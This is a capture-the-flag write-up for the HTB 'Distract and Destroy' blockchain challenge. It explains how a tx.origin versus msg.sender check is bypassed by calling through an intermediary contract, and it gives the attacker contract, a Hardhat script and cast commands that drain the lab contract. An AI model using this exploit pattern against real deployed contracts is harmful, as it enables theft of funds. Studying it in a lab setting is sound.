HTB: Distract and Destroy
Table of Contents
The Contracts:
Setup.sol:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Creature} from "./Creature.sol";
contract Setup {
Creature public immutable TARGET;
constructor() payable {
require(msg.value == 1 ether);
TARGET = new Creature{value: 10}();
}
function isSolved() public view returns (bool) {
return address(TARGET).balance == 0;
}
}
Creature.sol:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract Creature {
uint256 public lifePoints;
address public aggro;
constructor() payable {
lifePoints = 1000;
}
function attack(uint256 _damage) external {
if (aggro == address(0)) {
aggro = msg.sender;
}
if (_isOffBalance() && aggro != msg.sender) {
lifePoints -= _damage;
} else {
lifePoints -= 0;
}
}
function loot() external {
require(lifePoints == 0, "Creature is still alive!");
payable(msg.sender).transfer(address(this).balance);
}
function _isOffBalance() private view returns (bool) {
return tx.origin != msg.sender;
}
}
Solving:
The contracts look a lot like the ones in Survival Of The Fittest
, but with the major difference of _isOffBalance()
_isOffBalance()
:
This is what we need to overcome, as far as I understand (I have an extremely limited knowledge of Solidity), it basically checks if the caller (msg.sender
) is the same as the initiator (tx.origin
).
Understanding the check tx.origin != msg.sender
Suppose we have 3 contracts, and an external user calling Contract A, which calls contract B, which calls contract C:
External User -> Contract A -> Contract B -> Contract C
- If Contract C checks
msg.sender
, it will see the address of Contract B. - If Contract C checks
tx.origin
, it will see the address of the external user who initiated the transaction.
The check: tx.origin != msg.sender
is basically checking if the caller is the same as the initiator, if it is, then the caller is an external user, if it isn’t, then the caller is a contract.
For this to return true (Which it needs to do, before damage is calculated), we will create our own contract and deploy it.
Our Contract:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
interface ICreature {
function attack(uint256 _damage) external;
}
contract Attacker {
ICreature target;
constructor(address _target) {
target = ICreature(_target);
}
function attack(uint256 _damage) external {
target.attack(_damage);
}
}
Basically the same as the original Creature contract. The ICreature interface is just so we can call the attack()
function on the target contract, as it’s a public external.
For interactions with it we will use Hardhat, our script looks like the following:
const hre = require("hardhat");
async function main() {
const CREATURE_ADDRESS = "0xEE9556661fF2ed03b694ddAEe3426Cce2480e06E"; // Replace with the actual address
// Step 1: Deploy the intermediary Attacker contract
console.log("Deploying Attacker contract...");
const Attacker = await hre.ethers.getContractFactory("Exploiter");
const attackerInstance = await Attacker.deploy(CREATURE_ADDRESS);
await attackerInstance.waitForDeployment(); // This waits for the contract deployment transaction to be confirmed.
const creatureInstance = await hre.ethers.getContractAt("ICreature", CREATURE_ADDRESS);
console.log("Attacker contract deployed at:", attackerInstance);
// Step 2: Attack using the intermediary contract
const damage = 1000;
console.log("Attacking using the intermediary contract...");
await attackerInstance.attack(damage);
await attackerInstance.attack(damage);
// Check lifePoints after attacks
const remainingLifePoints = await creatureInstance.lifePoints();
console.log(`Remaining life points: ${remainingLifePoints.toString()}`);
// Step 3: Loot
if (remainingLifePoints.toString() === "0") {
console.log("Looting the Creature contract...");
await creatureInstance.loot();
console.log("Funds looted!");
} else {
console.log("Creature is still alive. Adjust the damage and try again.");
}
}
This script did cause me some problems and didn’t seem to execute fully, however running:
cast call --rpc-url http://206.189.28.151:30717/rpc 0xEE9556661fF2ed03b694ddAEe3426Cce2480e06E "lifePoints()"
Gave us back a lifepoint value of 0, indicating it was successful. Thus we could then run:
cast send 0xEE9556661fF2ed03b694ddAEe3426Cce2480e06E "loot()" --rpc-url http://206.189.28.151:30717/rpc --private-key $PK
And then we got the flag :)